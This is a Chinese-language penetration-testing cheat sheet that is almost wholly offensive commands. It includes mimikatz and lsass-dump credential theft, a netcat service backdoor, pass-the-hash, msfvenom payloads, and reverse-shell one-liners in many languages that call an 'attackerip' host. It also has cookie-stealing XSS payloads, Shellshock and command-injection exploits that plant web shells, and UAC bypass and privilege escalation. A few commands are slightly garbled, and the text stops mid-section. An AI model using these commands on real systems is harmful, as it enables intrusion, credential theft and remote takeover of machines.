    实用的 Windows Cmd 命令

    net localgroup Users
    net localgroup Administrators
    search dir/s *.doc
    system("start cmd.exe /k $cmd")
    sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
    /c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.1037779
    mimikatz.exe "privilege::debug""log""sekurlsa::logonpasswords"
    Procdump.exe -accepteula -ma lsass.exe lsass.dmp
    mimikatz.exe "sekurlsa::minidump lsass.dmp""log""sekurlsa::logonpasswords"
    C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32 位系统
    C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64 位系统

    PuTTY 连接隧道

    使用手册:https://the.earth.li/~sgtatham/putty/0.73/htmldoc/index.html

    // 转发远程端口到目标地址
    plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP

    Meterpreter 端口转发

    Metasploit 中的 Meterpreter 模块在后渗透阶段具有强大的攻击力,这里整理了meterpreter 的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。

    Meterpreter 命令详解:https://www.cnblogs.com/backlion/p/9484949.html

    后渗透之 meterpreter 使用攻略:https://xz.aliyun.com/t/2536

    // https://www.offensive-security.com/metasploit-unleashed/portfwd/
    // 转发远程端口到目标地址
    meterpreter > portfwd add -l 3389 -p 3389 -r 172.16.194.141
    kali > rdesktop 127.0.0.1:3389

    Meterpreter VNC \ RDP

    // 参考文章:https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/
    run getgui -u admin -p 1234
    run vnc -p 5043

    开启 RDP 服务

    远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。位于TCP/IP协议族的应用层。在使用RDP协议的会话中,客户端的鼠标或者键盘等消息经过加密后传输到远端服务器并予以重放执行,而远端服务器所进行的一系列响应也以加密消息的形式通过网络回传给客户端,并借助客户端的图形引擎表示出来。

    reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
    netsh firewall set service remoteadmin enable
    netsh firewall set service remotedesktop enable

    关闭 Windows 防火墙

    netsh firewall set opmode disable

    使用 Mimikatz 获取 Windows 明文用户名密码

    拓展学习:https://blog.csdn.net/kevinstoic/article/details/9004784

    mimikatz 在内网渗透中是个很有用的工具。它可能让攻击者从内存中抓到明文密码。不仅如此,它还可以提升进程权限,注入进程,读取进程内存等等,mimikatz包含了很多本地模块,更像是一个轻量级的调试器。

    git clone https://github.com/gentilkiwi/mimikatz.git
    privilege::debug
    sekurlsa::logonPasswords full

    获取哈希值

    //访问git项目
    git clone https://github.com/byt3bl33d3r/pth-toolkit         
    pth-winexe -U hash //IP cmd
    或者
    apt-get install freerdp-x11
    xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP
    或者
    meterpreter > run post/windows/gather/hashdump
    Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
    msf > use exploit/windows/smb/psexec
    msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
    msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
    msf exploit(psexec) > exploit
    meterpreter > shell

    使用 Hashcat 破解密码

    hashcat 号称世界上最快的密码破解,世界上第一个和唯一的基于GPGPU规则引擎,免费多GPU(高达128个GPU),多哈希,多操作系统(Linux和Windows本地二进制文件),多平台(OpenCL和CUDA支持),多算法,资源利用率低,基于字典攻击,支持分布式破解等等。

    密码破解全能工具:Hashcat密码破解攻略:https://www.freebuf.com/sectool/164507.html

    hashcat -m 400 -a 0 hash /root/rockyou.txt

    使用 NC 抓取 Banner 信息

    nc 192.168.0.1080
    GET / HTTP/1.1Host:192.168.0.10
    User-Agent: Mozilla/4.0Referrer: www.example.com
    enter
    enter

    使用 NC 在 Windows 上反弹 Shell

    c:\ nc -Lp 31337 -vv -e cmd.exe
    nc 192.168.0.10 31337
    c:\ nc example.com 80 -e cmd.exe
    nc -lp 80
     
    nc -lp 31337 -e /bin/bash
    nc 192.168.0.10 31337
    nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

    查找 SUID \ SGID Root 文件

    find / -user root -perm -4000 -print       // 查找SUID root 文件
    find / -group root -perm -2000 -print      // 查找SGID root 文件
    find / -perm -4000 -o -perm -2000 -print   // 查找任何人拥有的 SUID 和 SGID 文件
    find / -nouser -print     // 查找不属于任何用户的文件
    find / -nogroup -print    // 查找不属于任何组的文件
    find / -type l            // 查找符号链接及其指向的内容

    Python Shell

    python -c 'import pty;pty.spawn("/bin/bash")'

    Python \ Ruby \ PHP HTTP 服务器

    python2 -m SimpleHTTPServer
    python3 -m http.server
    ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
    php -S 0.0.0.0:8888

    获取进程对应的 PID

    fuser -nv tcp 80
    fuser -k -n tcp 80

    使用 Hydra 爆破 RDP

    Hydra 是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务,支持Linux、Windows、Mac平台安装,其中Kali Linux中自带Hydra。

    爆破神器 Hydra 使用说明:https://blog.csdn.net/qq_40657585/article/details/84557478

    hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

    注:L后面是账号集,P后面是密码集。

    挂载远程 Windows 共享文件夹

    smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

    Kali 下编译 Exploit

    gcc -m32 -o output32 hello.c (32 位)
    gcc -m64 -o output hello.c (64 位)

    Kali 下编译 Windows Exploit

    wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
    wine mingw-get-setup.exe
    select mingw32-base
    cd /root/.wine/drive_c/windows
    wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
    cd /root/.wine/drive_c/MinGW/bin
    wine gcc -o ability.exe /tmp/exploit.c -lwsock32
    wine ability.exe

    NASM 命令

    NASM 全称 The Netwide Assembler,是一款基于80×86和x86-64平台的汇编语言编译程序,其设计初衷是为了实现编译器程序跨平台和模块化的特性。

    主页:https://www.nasm.us/index.php

    nasm -f bin -o payload.bin payload.asm
    nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

    SSH 穿透

    SSH 内网穿透的N种姿势:https://blog.csdn.net/MasonQAQ/article/details/78190400

    ssh -D 127.0.0.1:1080 -p 22 user@IP
    Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
    proxychains commands target

    SSH 穿透从一个网络到另一个网络

    ssh -D 127.0.0.1:1080 -p 22 user1@IP1
    Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
    proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
    Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
    proxychains commands target

    使用 Metasploit 进行穿透

    Meterpreter命令详解:https://www.cnblogs.com/backlion/p/9484949.html

    route add X.X.X.X 255.255.255.0 1
    use auxiliary/server/socks4a
    run
    proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E
    或者
    https://www.offensive-security.com/metasploit-unleashed/pivoting/
    meterpreter > ipconfig
    IP Address  : 10.1.13.3
    meterpreter > run autoroute -s 10.1.13.0/24
    meterpreter > run autoroute -p
    10.1.13.0          255.255.255.0      Session 1
    meterpreter > Ctrl+Z
    msf auxiliary(tcp) > use exploit/windows/smb/psexec
    msf exploit(psexec) > set RHOST 10.1.13.2
    msf exploit(psexec) > exploit
    meterpreter > ipconfig
    IP Address  : 10.1.13.

    基于 CSV 文件查询 Exploit-DB

    ExploitDB 是一个面向全世界黑客的漏洞提交平台,该平台会公布最新漏洞的相关情况,这些可以帮助企业改善公司的安全状况,同时也以帮助安全研究者和渗透测试工程师更好的进行安全测试工作。Exploit-DB 提供一整套庞大的归档体系,其中涵盖了各类公开的攻击事件、漏洞报告、安全文章以及技术教程等资源。

    git clone https://github.com/offensive-security/exploit-database.git
    cd exploit-database
    ./searchsploit –u
    ./searchsploit apache 2.2
    ./searchsploit "Linux Kernel"
    cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3

    MSF Payloads

    MSF是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
    msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

    MSF 生成 Linux 反弹 Shell

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

    MSF 生成反弹 Shell (C Shellcode)

    msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

    MSF 生成 Python 反弹 Shell

    msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

    MSF 生成 ASP 反弹 Shell

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

    MSF 生成 Bash 反弹 Shell

    msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

    MSF 生成 PHP 反弹 Shell

    msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
    add <?php at the beginning
    perl -i~ -0777pe's/^/<?php \n/' shell.php

    MSF 生成 Win 反弹 Shell

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

    Linux 常用安全命令

    // 使用 uid 查找对应的程序
    find / -uid 0 -perm -4000

    // 查找哪里拥有写权限
    find / -perm -o=w

    // 查找名称中包含点和空格的文件
    find / -name " " -print
    find / -name ".." -print
    find / -name ". " -print
    find / -name " " -print

    // 查找不属于任何人的文件
    find / -nouser

    // 查找未链接的文件
    lsof +L1

    // 获取进程打开端口的信息
    lsof -i

    // 看看 ARP 表中是否有奇怪的东西
    arp -a

    // 查看所有账户
    getent passwd

    // 查看所有用户组
    getent group

    // 列举所有用户的 crontabs
    for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

    // 生成随机密码
    cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4

    // 查找所有不可修改的文件
    find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’

    // 使文件不可修改
    chattr -i file

    Windows 缓冲区溢出利用命令

    msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c

    COMMONLY USED BAD CHARACTERS:
    \x00\x0a\x0d\x20                              For http request
    \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c           Ending with (0\n\r_)

    // 常用命令:
    pattern create
    pattern offset (EIP Address)
    pattern offset (ESP Address)
    add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

    !pvefindaddr pattern_create 5000
    !pvefindaddr suggest
    !pvefindaddr modules
    !pvefindaddr nosafeseh

    !mona config -set workingfolder C:\Mona\%p
    !mona config -get workingfolder
    !mona mod
    !mona bytearray -b "\x00\x0a"
    !mona pc 5000
    !mona po EIP
    !mona sugg

    SEH --- 结构化异常处理

    SEH ( Structured Exception Handling ),即结构化异常处理,是 windows 操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。

    SEH的介绍及实战:https://blog.csdn.net/qq_40890756/article/details/89950455
    windows-SEH详解:https://bbs.pediy.com/thread-249592.htm

    //  参考文章:https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
    !mona suggest
    !mona nosafeseh
    nseh="\xeb\x06\x90\x90" (next seh chain)
    iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

    ROP (DEP)

    ROP ( Return-Oriented Programming ) 是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。

    DEP( Data Execution Prevention )是一套软硬件技术,在内存上严格将代码和数据进行区分,防止数据当做代码执行。

    # https://en.wikipedia.org/wiki/Return-oriented_programming
    # https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B
    # https://en.wikipedia.org/wiki/Data_Execution_Prevention
    # http://baike.baidu.com/item/DEP/7694630
    !mona modules
    !mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
    !mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)

    ASLR --- 地址空间格局随机化

    # https://en.wikipedia.org/wiki/Address_space_layout_randomization
    # http://baike.baidu.com/view/3862310.htm
    !mona noaslr

    寻蛋 ( EGG Hunter ) 技术

    Egg hunting 这种技术可以被归为 "分级shellcode",它主要可以支持你用一小段特制的shellcode来找到你的实际的(更大的)shellcode(我们的‘鸡蛋‘),原理就是通过在内存中搜索我们的最终shellcode。换句话说,一段短代码先执行,然后再去寻找真正的shellcode并执行。– 参考自看雪论坛 ( http://www.tiejiang.org/goto/o5p5 ) ,更多详情可以查阅我在代码注释中增加的链接。

    # https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
    # http://www.pediy.com/kssd/pediy12/116190/831793/45248.pdf
    # http://www.fuzzysecurity.com/tutorials/expDev/4.html
    !mona jmp -r esp
    !mona egg -t lxxl
    \xeb\xc4 (jump backward -60)
    buff=lxxllxxl+shell
    !mona egg -t 'w00t'

    GDB Debugger 常用命令

    # 设置断点
    break *_start
     
    # 执行下一个命令
    next
    step
    n
    s
     
    # 继续执行
    continue
    c
     
    # 数据
    checking 'REGISTERS' and 'MEMORY'
     
    # 显示寄存器的值: (Decimal,Binary,Hex)
    print /d –> Decimal
    print /t –> Binary
    print /x –> Hex
    O/P :
    (gdb) print /d $eax
    $17 = 13
    (gdb) print /t $eax
    $18 = 1101
    (gdb) print /x $eax
    $19 = 0xd
    (gdb)
     
    # 显示特定内存地址的值
    command : x/nyz (Examine)
    n –> Number of fields to display ==>
    y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
    z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

    Bash 反弹 Shell

    bash -i >& /dev/tcp/X.X.X.X/443 0>&1
    exec /bin/bash 0&0 2>&0
    exec /bin/bash 0&0 2>&0
    0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
    0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
    exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done 
    # or: while read line 0<&5; do $line 2>&5 >&5; done
    exec 5<>/dev/tcp/attackerip/4444
    cat <&5 | while read line; do $line 2>&5 >&5; done 
    # or: while read line 0<&5; do $line 2>&5 >&5; done
    /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
    /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

    PERL 反弹 Shell

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
     
    # Win 平台
    perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

    RUBY 反弹 Shell

    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
     
    # Win 平台
    ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

    Python 反弹 Shell

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    PHP 反弹 Shell

    php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

    JAVA 反弹 Shell

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
    p.waitFor()

    netcat 反弹 Shell

    nc -e /bin/sh attackerip 4444
    nc -e /bin/sh 192.168.37.10 443
     
    # 如果 -e 参数被禁用,可以尝试以下命令
    # mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
    /bin/sh | nc attackerip 443
    rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/
     
    # 如果你安装错了 netcat 的版本,请尝试以下命令
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

    telnet 反弹 Shell

    # 如果 netcat 不可用或者 /dev/tcp
    mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

    xterm 反弹 Shell

    # http://baike.baidu.com/view/418628.htm
    # 开启 X 服务器 (:1 – 监听 TCP 端口 6001)
    apt-get install xnest
    Xnest :1 
    # 记得授权来自目标 IP 的连接
    xterm -display 127.0.0.1:1 
    # 授权访问
    xhost +targetip 
    # 在目标机器上连接回我们的 X 服务器
    xterm -display attackerip:1
    /usr/openwin/bin/xterm -display attackerip:1
    or
    $ DISPLAY=attackerip:0 xterm

    XSS 备忘录

    https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
    ("< iframes > src=http://IP:PORT </ iframes >")
     
    <script>document.location=http://IP:PORT</script>
     
    ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
     
    ";!–"<XSS>=&amp;{()}
     
    <IMG SRC="javascript:alert('XSS');">
    <IMG SRC=javascript:alert('XSS')>
    <IMG """><SCRIPT>alert("XSS")</SCRIPT>"">
    <IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
    <IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041>
    <IMG SRC="jav ascript:alert('XSS');">
    perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out
    <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
    (">< iframes http://google.com < iframes >)
    <BODY BACKGROUND="javascript:alert('XSS')">
    <FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
    "><script >alert(document.cookie)</script>
    %253cscript%253ealert(document.cookie)%253c/script%253e
    "><s"%2b"cript>alert(document.cookie)</script>
    %22/%3E%3CBODY%20οnlοad=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
    <img src=asdf οnerrοr=alert(document.cookie)>

    SSH Over SCTP (使用 Socat)

    socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的 N 倍加强版。

    官网:http://www.dest-unreach.org/socat/

    Socat 简介、安装、使用:https://blog.csdn.net/u010285974/article/details/81209594

    Socat 命令:https://www.jianshu.com/p/54005e3095f3

    # 远端服务器
    # 假设你准备让 SCTP socket 监听端口 80/SCTP 并且 sshd 端口在 22/TCP
    $ socat SCTP-LISTEN:80,fork TCP:localhost:22
     
    # 本地端
    # 将 SERVER_IP 换成远端服务器的地址,然后将 80 换成 SCTP 监听的端口号
    $ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80
     
    # 创建 socks 代理
    # 替换 username 和 -p 的端口号
    $ ssh -lusername localhost -D 8080 -p 1337

    使用洋葱网络

    # 安装服务
    $ apt-get install tor torsocks
     
    # 绑定 ssh 到 tor 服务端口 80
    # /etc/tor/torrc
    SocksPolicy accept 127.0.0.1
    SocksPolicy accept 192.168.0.0/16
    Log notice file /var/log/tor/notices.log
    RunAsDaemon 1
    HiddenServiceDir /var/lib/tor/ssh_hidden_service/
    HiddenServicePort 80 127.0.0.1:22
    PublishServerDescriptor 0
    $ /etc/init.d/tor start
    $ cat /var/lib/tor/ssh_hidden_service/hostname
    3l5zstvt1zk5jhl662.onion
     
    # ssh 客户端连接
    $ apt-get install torsocks
    $ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p 80

    Metagoofil --- 元数据收集工具

    Metagoofil 是一款利用Google收集信息的工具。它可以自动在搜素引擎中检索和分析文件,还具有提供Mac地址,用户名列表等其他功能

    官网:http://www.edge-security.com/metagoofil.php

    metagoofil 用法:https://blog.csdn.net/feier7501/article/details/8937376

    # 它可以自动在搜素引擎中检索和分析文件,还具有提供Mac地址,用户名列表等其他功能
    $ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html

    利用 Shellshock

    一个发现并利用服务器 Shellshock 的工具

    安装及使用:# https://github.com/nccgroup/shocker

    $ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
     
    # 查看文件
    $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
     
    # 绑定 shell
    $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
     
    # 反弹 Shell
    $ nc -l -p 443
    $ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

    获取 Docker 的 Root

    # 获取  Docker 的 Root
    # user 必须在 docker 用户组中
    ek@victum:~/docker-test$ id
    uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)
     
    ek@victum:~$ mkdir docker-test
    ek@victum:~$ cd docker-test
     
    ek@victum:~$ cat > Dockerfile
    FROM debian:wheezy
    ENV WORKDIR /stuff
    RUN mkdir -p $WORKDIR
    VOLUME [ $WORKDIR ]
    WORKDIR $WORKDIR
    << EOF
    ek@victum:~$ docker build -t my-docker-image .
    ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
    'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
    ./sh
    whoami
    # root
    ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'

    使用 DNS 隧道绕过防火墙

    # 让数据和命令使用 DNS 隧道传输以绕过防火墙的检查
    # dnscat2 支持从目标主机上面上传和下载命令来获取文件、数据和程序
     
    # 服务器 (攻击者)
    $ apt-get update
    $ apt-get -y install ruby-dev git make g++
    $ gem install bundler
    $ git clone https://github.com/iagox86/dnscat2.git
    $ cd dnscat2/server
    $ bundle install
    $ ruby ./dnscat2.rb
    dnscat2> New session established: 16059
    dnscat2> session -i 16059
     
    # 客户机 (目标)
    # https://downloads.skullsecurity.org/dnscat2/
    # https://github.com/lukebaggett/dnscat2-powershell
    $ dnscat --host <dnscat server_ip>

    编译 Assemble 代码

    $ nasm -f elf32 simple32.asm -o simple32.o
    $ ld -m elf_i386 simple32.o simple32
    $ nasm -f elf64 simple.asm -o simple.o
    $ ld simple.o -o simple

    使用非交互 Shell 打入内网

    # 生成 shell 使用的 ssh 密钥
    $ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
    $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
    $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"
     
    # 增加用户 tempuser 
    $ useradd -m tempuser
    $ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
    $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
    $ chmod 700 /home/tempuser/.ssh/authorized_keys
    $ chown -R tempuser:tempuser /home/tempuser/.ssh
     
    # 反弹 ssh shell
    $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"

    利用 POST 远程命令执行获取 Shell

    attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'
    attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'
    attacker:~$ curl http://victum.tk/shell.php?cmd=id
    # 在服务器上下载 shell (phpshell.php)
    http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27
    # 运行 nc 并执行 phpshell.php
    attacker:~$ nc -nvlp 1337

    以管理员身份在 Win7 上反弹具有系统权限的 Shell

    msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe 
    # 显示账户配置
    net user <login> 
    # Kali 上下载 psexec 
    https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx 
    # 使用 powershell 脚本上传 psexec.exe 到目标机器
    echo $client = New-Object System.Net.WebClient > script.ps1
    echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1
    echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1
    powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1 
    # 使用 powershell 脚本上传 danger.exe 到目标机器
    echo $client = New-Object System.Net.WebClient > script2.ps1
    echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1
    echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1
    powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1 
    # 使用预编译的二进制文件绕过 UAC: 
    https://github.com/hfiref0x/UACME 
    # 使用 powershell 脚本上传 https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe 到目标机器
    echo $client = New-Object System.Net.WebClient > script2.ps1
    echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1
    echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1
    powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1 
    # 在 Kali 上创建监听
    nc -lvp 4444 
    # 以系统权限使用 Akagi64 运行 danger.exe 
    Akagi64.exe 1 C:\Users\User\Desktop\danger.exe 
    # 在 Kali 上创建监听
    nc -lvp 4444 
    # 下一步就会反弹给我们一个提过权的 shell
    # 以系统权限使用 PsExec 运行 danger.exe 
    psexec.exe –i –d –accepteula –s danger.exe

    以普通用户身份在 Win7 上反弹具有系统权限的 Shell

    https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
    https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
    https://www.exploit-db.com/exploits/37049/ 
    # 查找目标机器是否安装了补丁,输入如下命令
    wmic qfe get
    wmic qfe | find "3057191" 
    # 上传编译后的利用程序并运行它 
    https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe 
    # 默认情况下其会以系统权限执行 cmd.exe,但我们需要改变源代码以运行我们上传的 danger.exe
    # https://github.com/hfiref0x/CVE-2015-1701 下载它并定位到 "main.c" 
    # 使用 wce.exe 获取已登录用户的明文账号密码 
    http://www.ampliasecurity.com/research/windows-credentials-editor/ 
    wce -w 
    # 使用 pwdump7 获取其他用户的密码哈希值 
